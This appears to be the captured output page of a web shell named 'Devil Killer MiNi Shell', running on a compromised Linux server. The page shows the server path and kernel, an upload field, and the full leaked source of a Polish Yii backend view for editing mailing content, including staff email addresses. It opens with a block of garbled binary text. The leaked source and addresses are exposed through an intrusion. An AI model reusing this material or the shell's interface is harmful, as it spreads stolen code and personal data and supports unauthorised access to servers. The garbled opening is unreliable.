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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/views/mailingscontents/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/views/mailingscontents/update.php

<?php

use yii\helpers\Html;
use yii\helpers\Url;
use backend\components\widgets\tinymce\TinyMCE;
use backend\components\widgets\FlashMessages;
use backend\assets\CodeMirrorAsset;
use yii\widgets\Pjax;
use kartik\widgets\FileInput;
use yii\bootstrap\Modal;

CodeMirrorAsset::register($this);

/* @var $this yii\web\View */
/* @var $model common\models\MailingsContents */
/* @var $files array */
/* @var $loggedUserEmail string */
/* @var $portalsList array */

$this->title = Yii::t('backend', 'Treść mailingu').': '.Html::encode($model->label).' (#'.$model->id_content.') - '.Yii::t('backend', 'Edycja');
$this->params['breadcrumbs'][] = ['label' => Yii::t('backend', 'Treści mailingów'), 'url' => ['mailingscontents/index']];
$this->params['breadcrumbs'][] = ['label' => Html::encode($model->label).' (#'.$model->id_content.')', 'url' => ['mailingscontents/view', 'id' => $model->id_content]];
$this->params['breadcrumbs'][] = Yii::t('backend', 'Edycja');

$this->params['contentHeader'] = $this->title;

$this->registerJs('

$("document").ready(function(){ 

    var editor = CodeMirror.fromTextArea(document.getElementById("code"),{
        mode: "text/html",
        lineNumbers: true,		
    });
    
    $(".vjs-send-test").on("click", function(e) {
        e.preventDefault();
        e.stopPropagation();
        
        var idPortal = $(this).data("id-portal");
        var email = $(this).data("email");

        $.post("/mailingscontents/send-test/'.$model->id_content.'", {"id_portal": idPortal, "email": email}, function(data) {
            if(data !== true) {
                alert(data);
            } else {
                alert("Wysłano");
            }
        });
        
        return false;
    });

    $(".vjs-send-test-to-user").on("mouseup", function(e) {
        e.preventDefault();
        e.stopPropagation();
        
        var idPortal = $(this).data("id-portal");
        var email = $("#to-user").val();

        $.post("/mailingscontents/send-test/'.$model->id_content.'", {"id_portal": idPortal, "email": email}, function(data) {
            if(data !== true) {
                alert(data);
            } else {
                alert("Wysłano");
            }
        });
        
        return false;
    });
    
    $("[data-loadcode]").on("click", function() {
        var id = $(this).data("loadcode"),
            html = $("#"+id).val();
        var ok = confirm("Napewno?"); 
        if(ok==true){$("a[href=\"#html\"]").trigger("click");editor.setValue(html);};
        return false;
    });

    $("#vstopka").on("click", function() {
        var html = "<style>\n.footer {font:11px Verdana;color:#555;text-align:center;letter-spacing:-1px;line-height:1.5em;}.footer p {display:inline-block;max-width:600px;border-top:1px dotted #999;padding:1em 2em 0;margin-top:10px;}.footer a {color:#36C;text-decoration:none;}footer a:hover {text-decoration:underline;}\n</style>\n###VERIFY######PIXEL###";
        var ok = confirm("Wkleić stopkę na końcu kodu?"); 
        if(ok==true)editor.setValue(editor.getValue() + html);
        return false;
    });
    
    $("#imagemapset").on("change",function(){
        var file = this.files[0];
        if (file.type.match(/image*/)) {
            var reader  = new FileReader();
            if (file) reader.readAsDataURL(file);
            reader.onloadend = function () {
                $("#map img").attr("src",reader.result);
                var i = new Image();
                i.onload = function(){
                    map = "<img src=\""+file.name+"\" width=\""+i.width+"\" height=\""+i.height+"\" alt=\"\" border=\"0\" usemap=\"#Map\">\n";
                    map = map + "<map name=\"Map\">\n</map>";
                    $("textarea[name=mapa]").val(map);
                };
                i.src = reader.result;
            };
        };
    });
        
    $("#map figure").draggable({
            containment: "#map",
            scroll: false,
            drag: function( event, ui ) {
                    $("#figurex1").val(ui.position.left);
                    $("#figurey1").val(ui.position.top);
                    $("#figurex2").val(ui.position.left+$("#map figure").width());
                    $("#figurey2").val(ui.position.top+$("#map figure").height());
            }
    }).resizable({
            resize: function( event, ui ) {
                    $("#figurex1").val(ui.position.left);
                    $("#figurey1").val(ui.position.top);
                    $("#figurex2").val(ui.position.left+ui.size.width);
                    $("#figurey2").val(ui.position.top+ui.size.height);
            }
    }); 
    
    $("#figuremapadd").click(function(){
            var x1 = $("#figurex1").val(),
                y1 = $("#figurey1").val(),
                x2 = $("#figurex2").val(),
                y2 = $("#figurey2").val(),
                url = $("#figureurl").val(),
                map = $("textarea[name=mapa]").val().replace("\n</map>","");
            if(x1&&y1&&x2&&y2&&url){
                map = map + "\n<area href=\""+url+"\""+" shape=\"rect\" coords=\""+x1+","+y1+","+x2+","+y2+"\" target=\"_blank\">";
                map = map + "\n</map>";
                $("#map").append("<mask style=\"left:"+x1+"px;top:"+y1+"px;width:"+(x2-x1)+"px;height:"+(y2-y1)+"px;\">"+url+"</mask>");
                $("textarea[name=mapa]").val(map);
                $("#figureurl").val("");
            }else{
                alert("Ustaw obszar i adres url!");
            };
    });
    
    $("#mapclip").click(function(){
        $("textarea[name=mapa]").select();
        document.execCommand("copy");
        alert("Skopiowano html mapy do schowka");
        return false;
    });
    
    $("#fullscreen").click(function(){
        $(this).closest("form").toggleClass("fullscreen");
        return false;
    });
    
});

');

$mailingDir = Yii::getAlias('@mailingsUrl/'.$model->getDir().'/');

$initialPreview = $initialPreviewConfig = $initialPreviewThumbTags = [];
if(!empty($files)) {
    foreach($files as $file) {
        $initialPreview[] = $file['data'];
        $initialPreviewConfig[] = ['caption' => $file['filename'], 'size' => $file['size'], 'type' => $file['type'], 'previewAsData' => $file['as_data'], 'key' => $file['key']];
        if($file['type'] === 'image') {
            list($imageWidth, $imageHeight) = getimagesize($mailingDir.$file['filename']);
            $initialPreviewThumbTags[] = [
                '{DIMENSIONS}' => $imageWidth.'x'.$imageHeight.' px',
                '{BUTTON_COPY_HTML}' => '<button type="button" class="vjs-copy-image-html-button btn btn-sm btn-kv btn-default btn-outline-secondary" title="Kopiuj kod HTML" data-src="'.Yii::getAlias('@mailingsAbsoluteUrl/'.$model->getDir().'/'.$file['filename']).'" data-width="'.$imageWidth.'" data-height="'.$imageHeight.'"><i class="glyphicon glyphicon-duplicate"></i></button>',
            ];
        } else {
            $initialPreviewThumbTags[] = [
                '{DIMENSIONS}' => '',
                '{BUTTON_COPY_HTML}' => '',
            ];
        }
    }
}
$defaultPortal = key($portalsList);

$this->registerJs('
    $("document").ready(function(){ 
        $("#modal-companies-list").on("click", ".select-button", function() {
            $("#field-id_company").val($(this).parent("td").parent("tr").data("key"));
            $("#modal-companies-list").modal("hide");
        });

        $("#modal-companies-list-button").on("click", function() {
            $("#modal-companies-list").modal("show").find("#companies-list-pjax").load($(this).data("url"));
        });
    });
   
');

$this->registerJs('
    $("document").ready(function(){ 
        $("#files").on("click", ".vjs-copy-image-html-button", function() {
            var el = document.createElement("textarea");
            var button = $(this);
            el.value = "<img src=\""+button.data("src")+"\" width=\""+button.data("width")+"\" height=\""+button.data("height")+"\" border=\"0\" alt=\"\">";
            el.setAttribute("readonly", "");
            el.style.position = "absolute";
            el.style.left = "-9999px";
            document.body.appendChild(el);
            el.select();
            document.execCommand("copy");
            document.body.removeChild(el);
            alert("Skopiowano html pliku do schowka");
        });
    });
   
    $("#files").on("click", "#copy-all-images-html-button", function() {
        var content = "";
        $("#files .vjs-copy-image-html-button").each(function() {
            var button = $(this);
            content += "<img src=\""+button.data("src")+"\" width=\""+button.data("width")+"\" height=\""+button.data("height")+"\" border=\"0\" alt=\"\">\n";
        });
        var el = document.createElement("textarea");
        var button = $(this);
        el.value = content
        el.setAttribute("readonly", "");
        el.style.position = "absolute";
        el.style.left = "-9999px";
        document.body.appendChild(el);
        el.select();
        document.execCommand("copy");
        document.body.removeChild(el);
        alert("Skopiowano html plików do schowka");
    });

');

?>
<style>
.ui-resizable {
	position: relative;
        z-index: 999;
}
.ui-resizable-handle {
	position: absolute;
	font-size: 0.1px;
	display: block;
	-ms-touch-action: none;
	touch-action: none;
}
.ui-resizable-s {
	cursor: s-resize;
	height: 7px;
	width: 100%;
	bottom: -5px;
	left: 0;
}
.ui-resizable-e {
	cursor: e-resize;
	width: 7px;
	right: -5px;
	top: 0;
	height: 100%;
}
.ui-resizable-se {
	cursor: se-resize;
	width: 12px;
	height: 12px;
	right: 1px;
	bottom: 1px;
}
#map mask {display:block;position:absolute;z-index:1;background:rgba(255,0,0,0.5);color:#FFF;}
.fullscreen {
    position: absolute;
    left: 0;
    top: 0;
    width: 100%;
    height: 100%;
    z-index: 9999;    
}
.fullscreen .CodeMirror,.fullscreen iframe,.fullscreen #map {height:1000px !important;}
</style>


<?php Modal::begin(['header' => '<h4></h4>', 'id' => 'modal-companies-list', 'size' => Modal::SIZE_LARGE]); ?>
    <?php 
        Pjax::begin([
            'id' => 'companies-list-pjax',
            'enableReplaceState'=>false,
            'enablePushState'=>false,
            'clientOptions' => [
                'async' => false
            ]
        ]); 
    ?>
    <?php Pjax::end(); ?>
<?php Modal::end(); ?> 

<?= FlashMessages::widget(); ?>
<form method="post" action="" class="nav-tabs-custom" id="mailing-content-tabs">
    <input type="hidden" name="<?= Yii::$app->request->csrfParam; ?>" value="<?= Yii::$app->request->csrfToken; ?>" />
    <ul class="nav nav-tabs nav-tabs-group">
        <li class="active"><a aria-expanded="false" href="#html">Edytor</a></li>
        <li><a aria-expanded="false" href="#mce">TinyMCE</a></li>
        <li><a aria-expanded="false" href="#files">Pliki</a></li>
        <li><a aria-expanded="false" href="#imagemap">Mapa obrazu</a></li>
        <li><a aria-expanded="false" href="#view">Podgląd</a></li>
        
        <div class="input-group pull-right" style="margin:3px 5px 0px 5px;width:250px;">
            <span class="input-group-btn">
                <button type="button" class="btn btn-success vjs-send-test" data-id-portal="<?= $defaultPortal ?>" data-email="<?= $loggedUserEmail ?>">Test <?= $loggedUserEmail ?></button>
            </span>
            <input id="to-user" type="text" class="form-control" list="users">
            <div class="input-group-btn">
                <button type="button" class="btn btn-success dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                    <span class="caret"></span>
                </button>
                <ul class="dropdown-menu dropdown-menu-right">
                    <?php foreach($portalsList as $idPortal => $domain): ?>
                        <li class="dropdown-header"><span class="vjs-send-test-to-user" style="cursor:pointer;" data-id-portal="<?= $idPortal ?>"><?= $domain ?></span></li>
                    <?php endforeach; ?>
                </ul>
            </div>
        </div>
        
        <datalist id="users">
            <option value="marcin@vertica.pl">
            <option value="lukasz@vertica.pl">
            <!--<option value="dominik@vertica.pl">-->
            <option value="sandra@vertica.pl">
            <option value="adam@vertica.pl">
            <option value="beata.nadolska@vertica.pl">
            <option value="dawid.kolodziejczyk@vertica.pl">
            <option value="kasia.szymborska@vertica.pl">
            <option value="maciej@vertica.pl">
            <option value="sylwia.dawid@vertica.pl">
            <option value="zuzanna.dziwnik@vertica.pl">
        </datalist>
        
        <input type="submit" class="btn btn-primary pull-right" style="margin:3px 5px 0px 5px;" value="Zapisz zmiany">
        <button id="fullscreen" type="button" class="btn btn-xs btn-info pull-right" style="margin:3px 5px 0px 5px;">Pełny ekran</button>
    </ul>    
    <div class="tab-group">
        <div id="html" class="tab-pane active">
            <div class="form-group">
                <label>Html</label>
                <button class="btn btn-xs btn-default pull-right" id="vstopka" style="margin-left:5px;margin-top:1px;">Wstaw v-stopkę</button>
                <div class="dropdown pull-right">
                  <button class="btn btn-xs btn-default dropdown-toggle" data-toggle="dropdown">
                    Szablon
                    <span class="caret"></span>
                  </button>
                  <ul class="dropdown-menu">
                    <li><a data-loadcode="jedenobraz" href="#jedenobraz">Jeden obraz</a></li>
                    <li><a data-loadcode="wgraneobrazy" href="#wgraneobrazy">Wgrane obrazy</a></li>
                    <li><a data-loadcode="restabela" href="#restabela">Responsywna tabela</a></li>
                    <li><a data-loadcode="newsletter" href="#newsletter">Newsletter</a></li>
                  </ul>
                </div>
                <div class="clearfix"></div>
                <textarea id="code" name="code" class="form-control" rows="30"><?php echo $model->html_code; ?></textarea>
            </div>  
            <div class="row">
                <div class="col-md-9">
                    <div class="form-group">
                        <label>Etykieta</label>
                        <input type="text" name="label" class="form-control" value="<?php echo $model->label; ?>">
                    </div>
                </div>
                <div class="col-md-3">
                    <div class="form-group">
                        <label>ID firmy</label>
                        <div class="input-group">
                            <input type="text" id="field-id_company" class="form-control" name="id_company" aria-invalid="true" value="<?php echo $model->id_company; ?>" readonly>
                            <div id="modal-companies-list-button" class="input-group-addon" style="cursor: pointer;" data-url="/mailingscontents/companies-list">
                                <span class="fa fa-search"></span>
                            </div>
                        </div>
                    </div> 
                </div>
            </div>
        </div>
        <div id="mce" class="tab-pane">
            <div class="form-group">
                <?php 
                
                echo TinyMCE::widget([
                    'name' => 'testwysiwyg',
                    'idForm' => 'unknown',
                    'value' => $model->html_code,
                    'options' => ['rows' => 6, 'class' => 'form-control tiny-mce-default'],
                    'subfolderPath' => 'unknown',
                    'cssClass' => 'tiny-mce-small',
                    'mode' => TinyMCE::MODE_DEFAULT,
                    'order' => '-date'
                ]);
                
                 ?>
                <!--textarea -id="wysiwyg" class="form-control" rows="20"><?php echo $model->html_code; ?></textarea-->
                
            </div>
        </div>        
        <div id="files" class="tab-pane">
            <div class="row">
                <div class="form-group col-md-9">
            <?php
                echo FileInput::widget([
                    'name' => 'files',
                    'options'=>[
                        'multiple'=>true
                    ],
                    'pluginOptions' => [
                        'otherActionButtons' => '{BUTTON_COPY_HTML}',
                        'uploadUrl' => Url::to(['mailingscontents/file-upload', 'id' => $model->id_content]),
                        'deleteUrl' => Url::to(['mailingscontents/file-delete', 'id' => $model->id_content]),
                        'uploadExtraData' => [
                            'id_content' => $model->id_content,
                            'id_company' => $model->id_company
                        ],
                        'initialPreview' => !empty($initialPreview) ? $initialPreview : [[]],
                        'initialPreviewAsData' => true,
                        'initialPreviewConfig' => !empty($initialPreviewConfig) ? $initialPreviewConfig : [[]],
                        'initialPreviewThumbTags' => !empty($initialPreviewThumbTags) ? $initialPreviewThumbTags : [[]],
                        'previewThumbTags' => [
                            '{DIMENSIONS}' => '',
                            '{BUTTON_COPY_HTML}' => '',
                        ],
                        'overwriteInitial' => false,
                        'showRemove' => false,
                        'showUpload' => true,
                        'maxFileSize' => 280000,
                        'layoutTemplates' => [
                            'footer' => '<div class="file-thumbnail-footer">'
                            . '<div class="file-footer-caption">'
                                . '<div class="file-caption-info">{caption}</div>'
                                . '<div class="file-size-info">{size}</div>'
                                . '<div class="file-dimensions-info">{DIMENSIONS}</div>'
                            . '</div>{progress} {actions} </div>',
                            'main1' =>                                 
                                '<div class="input-group {class}">'.
                                    '{caption}'.
                                    '<div class="input-group-btn input-group-append">'.
                                        '<span id="copy-all-images-html-button" class="btn btn-smal btn-default"><i class="glyphicon glyphicon-duplicate"></i></span>'.
                                        '{remove}'.
                                        '{cancel}'.
                                        '{pause}'.
                                        '{upload}'.
                                        '{browse}'.                                        
                                    '</div>'.
                                '</div>'.
                                '<div class="kv-upload-progress kv-hidden"></div><div class="clearfix"></div>'.
                                '{preview}'
                        ]
                    ]
                ]);
            ?>
                </div>
                <div class="form-group col-md-3">
                    <table class="table">
                        <tr><th>Lista plików:</th><th class="text-right" align="right">Waga&nbsp;[kb]</th></tr>
                    <?php $imghtml=chr(13).chr(10); $waga = 0; foreach($files as $file){ $waga+=round($file['size']/1024);
                        echo '<tr><td>'.$file['filename'].'</td><td align="right">'.round($file['size']/1024).'</td></tr>';
                        list($width, $height, $type, $attr) = getimagesize($mailingDir.$file['filename']);
                        $imghtml.='<a href="#"><img src="'.$file['data'].'" width="'.$width.'" height="'.$height.'" border="0" alt=""></a>'.chr(13).chr(10);
                    };
                    ?>
                        <tr><th><a class="btn btn-default btn-sm" data-loadcode="wgraneobrazy" href="#wgraneobrazy">Wstaw szablon w edytor</a></th><th class="text-right" align="right"><?= $waga; ?></th></tr>
                    </table>
                </div>
            </div>
        </div>
        <div id="imagemap" class="tab-pane">
            <div class="row">
                <div class="form-group col-md-8">
                    <label>Wczytaj obraz: &nbsp;<input id="imagemapset" type="file" style="display:inline-block;"></label>
                    <div id="map" style="height:600px;overflow:scroll;border:1px solid #DDD;position:relative;">
                        <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII=">
                        <figure style="width:42px;height:42px;position:absolute;top:0;left:0;background:rgba(255,255,255,0.5);box-shadow:#000 0 0 0 2px inset;"></figure>
                    </div>
                </div>
                <div class="form-group col-md-4">
                    <label>Obszar mapy:</label>
                    <div class="form-inline">
                            <input type="text" class="form-control" id="figurex1" size="4" value="" placeholder="x1">
                            <input type="text" class="form-control" id="figurey1" size="4" value="" placeholder="y1">
                            <input type="text" class="form-control" id="figurex2" size="4" value="" placeholder="x2">
                            <input type="text" class="form-control" id="figurey2" size="4" value="" placeholder="y2">
                    </div>
                    <input type="text" class="form-control" id="figureurl" placeholder="http://">
                    <span id="figuremapadd" class="btn btn-xs btn-success pull-right">Dodaj obszar do mapy</span>
                    <div class="clearfix">&nbsp;</div>
                    <label>Kod html:</label>
                    <textarea class="form-control" rows="15" name="mapa" style="overflow:auto;white-space:nowrap;" placeholder="Wpierw wgraj plik graficzny..."></textarea>
                    <button class="btn btn-default btn-sm" id="mapclip">Kopiuj kod html do schowka</button>
                </div>			
            </div>            
        </div>        
        <div id="view" class="tab-pane">
            <label>Podgląd</label>
            <iframe class="form-control" style="height:610px;" src="/mailingscontents/view/<?= $model->id_content ?>?id_portal=<?= $defaultPortal ?>"></iframe>
        </div>        
    </div>
</form>
<!-- szablony -->
<textarea id="jedenobraz" class="hide">
<!doctype html>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
	<head>
		<title>###TITLE###</title>
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
		<style type="text/css">
		@media(max-width:767px){
          	.main{width:100% !important;text-align:center;}
          	.main img{max-width:100% !important;height:auto !important;}
        }
        
		.footer {font:11px Verdana;color:#555;text-align:center;letter-spacing:-1px;line-height:1.5em;}
		.footer p {display:inline-block;max-width:600px;border-top:1px dotted #999;padding:1em 2em 0;margin-top:10px;}
		.footer a {color:#36C;text-decoration:none;} footer a:hover {text-decoration:underline;}
		</style>
	</head>
	<body bgcolor="#F8F8F8">
		<center>
			<table class="main" width="600" cellspacing="0" cellpadding="0">
				<tbody>
					<tr><td>
						<a href="#">
							<img src="http://via.placeholder.com/650x650" border="0" width="650" height="650">
						</a>
					</td></tr>
				</tbody>
			</table>
		</center>
###VERIFY######PIXEL###
	</body>
</html>
</textarea>
<textarea id="wgraneobrazy" class="hide">
<!doctype html>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
	<head>
		<title>###TITLE###</title>
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
		<style type="text/css">
		@media(max-width:767px){
          	.main{width:100% !important;text-align:center;}
          	.main img{max-width:100% !important;height:auto !important;}
        }
        
		.footer {font:11px Verdana;color:#555;text-align:center;letter-spacing:-1px;line-height:1.5em;}
		.footer p {display:inline-block;max-width:600px;border-top:1px dotted #999;padding:1em 2em 0;margin-top:10px;}
		.footer a {color:#36C;text-decoration:none;} footer a:hover {text-decoration:underline;}
		</style>
	</head>
	<body bgcolor="#F8F8F8">
		<center>
			<table class="main" width="600" cellspacing="0" cellpadding="0">
				<tbody>
					<tr><td><?= $imghtml; ?>                    </td></tr>
				</tbody>
			</table>
		</center>
###VERIFY######PIXEL###
	</body>
</html>
</textarea>
<textarea id="restabela" class="hide">
<!doctype html>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
	<head>
		<title>###TITLE###</title>
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
		<style type="text/css">
		table {font-family:Verdana;}
		img {max-width:100%;}
		p {max-width:700px;text-align:justify;}
		.blue {color:#158dc8;}
		a {text-decoration:none;}
                
		.footer {font:11px Verdana;color:#555;text-align:center;letter-spacing:-1px;line-height:1.5em;}
		.footer p {display:inline-block;max-width:600px;border-top:1px dotted #999;padding:1em 2em 0;margin-top:10px;}
		.footer a {color:#36C;text-decoration:none;} footer a:hover {text-decoration:underline;}
		</style>
	</head>
	<body bgcolor="#F8F8F8">
		<center>
			<table cellpadding="10" cellspacing="3" border="0">
		
			<tr>
				<td align="left" bgcolor="#DDDDDD">
					<br>
					<img src="http://via.placeholder.com/250x100" width="250" border="0">
				</td>
			</tr>
			<tr>
				<td align="center" bgcolor="#EEEEEE">
					<h2><br>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</h2>
					<h4 class="blue">Lorem ipsum dolor sit amet, consectetur adipiscing elit.</h4>
					<p>
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec nunc purus, congue sed mi quis, rutrum aliquet est. Sed ullamcorper diam eget tortor mollis, id dignissim libero dictum.
					</p>
					<p>
<b class="blue">Lorem:</b><br> ipsum dolor sit amet, consectetur adipiscing elit.				
					</p>
				
				</td>
			</tr>
			<tr>
				<td align="center" bgcolor="#CCCCCC">
					<a href="#"><img src="http://via.placeholder.com/200x60" width="200" border="0"></a>
				</td>
			</tr>		
			<tr>
				<td align="left" bgcolor="#DDDDDD">
					<p>
Jarosław Jaśkiewicz <br>
Business Development Manager <br>
E: <a href="mailto:@">adres@adres.com</a><br>
T: +48 600 000 000	
					</p>
				</td>
			</tr>		
		
		</table>
		</center>
###VERIFY######PIXEL###
	</body>
</html>
</textarea>
<textarea id="newsletter" class="hide">
<!DOCTYPE html>
<html lang="pl">
<head>
        <title>###TITLE###</title>
	<meta charset="utf-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<style>
body {background:#fbfbfb;padding:20px;color:#111;}
.white {background:#fff;box-shadow:0 5px 15px -5px rgba(0,0,0,0.1);}
.gray {background:#f0f0f0;box-shadow:0 0 15px -5px rgba(0,0,0,0.1),#BBB 0 -2px 0 0 inset;padding:10px 20px 0;
	   border-top-left-radius:4px;border-top-right-radius:4px;
}
.empty {font-size:20px;}
.top {vertical-align:top;}
.right {text-align:right;}
.justify {text-align:justify;}
.center {text-align:center;}
.title {border-bottom:4px solid #333;border-bottom:4px solid ###COLOR1###;}
.title td {padding-bottom:10px;font-size:18px;}
body,
table,
td {font-family:Helvetica,Arial,Tahoma,sans-serif;font-size:14px;line-height:1.42857143;}
a {color:#111;font-weight:bold;text-decoration:none;}
a:hover {color:#36C;text-decoration:none;}
  	</style>
</head>
<body>
<table width="750" style="width:750px" border="0" align="center" cellpadding="0" cellspacing="0">
	<tr>
		<td colspan="1">
			&nbsp;
		</td>
		<td colspan="2" class="right">
			Aktualności portalu ###PORTAL### &raquo; styczeń/2019
		</td>
	</tr>
	<tr>
		<td class="empty" colspan="3" style="margin:0;padding:0;">&nbsp;</td>
	</tr>	
	<tr>
		<td colspan="3">
			<a href="<?= Yii::$app->params['webProtocol'] ?>://www.###PORTAL###"><img src="http://via.placeholder.com/750x150" width="750" height="150" border="0"></a>
		</td>
	</tr>
	<tr>
		<td class="white" colspan="3">
			<table width="710" border="0" align="center" cellpadding="0" cellspacing="0">
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
				<tr>
					<td style="margin:0;padding:0;">
Szanowni Państwo,<br><br>
Zapraszamy do zapoznania się z najnowszym newsletterem.<br>
					</td>
				</tr>
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
			</table>		
		</td>
	</tr>
	<tr>
		<td class="empty" colspan="3" style="margin:0;padding:0;">&nbsp;</td>
	</tr>
	<tr>
		<td class="gray" colspan="3">
			<table border="0" align="left" cellpadding="0" cellspacing="0" class="title">
				<tr>
					<td>
						Aktualności
					</td>
				</tr>			
			</table>
		</td>
	</tr>
	<tr>
		<td class="white top" style="vertical-align:top;">
			<table width="210" border="0" align="center" cellpadding="0" cellspacing="0" class="full">
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
				<tr>
					<td>
						<img src="http://via.placeholder.com/210x140" border="0" width="210" height="140" style="border-bottom:10px solid #FFF;"><br>
						<a href="#">
						Lorem ipsum dolor sit amet, consectetur adipiscing elit.</a>
					</td>
				</tr>			
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
			</table>		
		</td>
		<td class="white top" style="vertical-align:top;">
			<table width="210" border="0" align="center" cellpadding="0" cellspacing="0" class="full">
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
				<tr>
					<td>
						<img src="http://via.placeholder.com/210x140" border="0" width="210" height="140" style="border-bottom:10px solid #FFF;"><br>
						<a href="#">
						Lorem ipsum dolor sit amet, consectetur adipiscing elit.</a>
					</td>
				</tr>
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
			</table>		
		</td>		
		<td class="white top" style="vertical-align:top;">
			<table width="210" border="0" align="center" cellpadding="0" cellspacing="0" class="full">
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
				<tr>
					<td>
						<img src="http://via.placeholder.com/210x140" border="0" width="210" height="140" style="border-bottom:10px solid #FFF;"><br>
						<a href="#">
						Lorem ipsum dolor sit amet, consectetur adipiscing elit.</a>
					</td>
				</tr>			
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
			</table>		
		</td>	
	</tr>		
	<tr>
		<td class="empty" colspan="3" style="margin:0;padding:0;">&nbsp;</td>
	</tr>
	<tr>
		<td class="gray" colspan="3">
			<table border="0" align="left" cellpadding="0" cellspacing="0" class="title">
				<tr>
					<td>
						Polecane firmy
					</td>
				</tr>			
			</table>
		</td>
	</tr>	
	<tr>
		<td class="white top" style="vertical-align:top;">
			<table width="210" border="0" align="center" cellpadding="0" cellspacing="0" class="full">
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
				<tr>
					<td class="center">
						<a href="#">
							<img src="http://via.placeholder.com/210x140" border="0" width="210" height="140">
						</a>
					</td>
				</tr>
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
			</table>		
		</td>		
		<td class="white top" style="vertical-align:top;">
			<table width="210" border="0" align="center" cellpadding="0" cellspacing="0" class="full">
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
				<tr>
					<td class="center">
						<a href="#">
							<img src="http://via.placeholder.com/210x140" border="0" width="210" height="140">
						</a>
					</td>
				</tr>			
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
			</table>		
		</td>		
		<td class="white top" style="vertical-align:top;">
			<table  width="210" border="0" align="center" cellpadding="0" cellspacing="0" class="full">
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
				<tr>
					<td class="center">
						<a href="#">
							<img src="http://via.placeholder.com/210x140" border="0" width="210" height="140">
						</a>
					</td>
				</tr>			
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
			</table>		
		</td>
	</tr>	
	<tr>
		<td class="empty" colspan="3" style="margin:0;padding:0;">&nbsp;</td>
	</tr>	
	<tr>
		<td class="gray" colspan="3">
			<table border="0" align="left" cellpadding="0" cellspacing="0" class="title">
				<tr>
					<td>
						Nowości
					</td>
				</tr>			
			</table>
		</td>
	</tr>
	<tr>
		<td class="white top" style="vertical-align:top;">
			<table width="210" border="0" align="center" cellpadding="0" cellspacing="0" class="full">
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
				<tr>
					<td>
						<img src="http://via.placeholder.com/210x170" border="0" width="200" height="170" style="border-bottom:10px solid #FFF;"><br>
						<a href="#">
						Lorem ipsum dolor sit amet, consectetur adipiscing elit.</a>
					</td>
				</tr>			
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
			</table>		
		</td>
		<td class="white top" style="vertical-align:top;">
			<table width="210" border="0" align="center" cellpadding="0" cellspacing="0" class="full">
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
				<tr>
					<td>
						<img src="http://via.placeholder.com/210x170" border="0" width="200" height="170" style="border-bottom:10px solid #FFF;"><br>
						<a href="#">
						Lorem ipsum dolor sit amet, consectetur adipiscing elit.</a>
					</td>
				</tr>			
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
			</table>		
		</td>
		<td class="white top" style="vertical-align:top;">
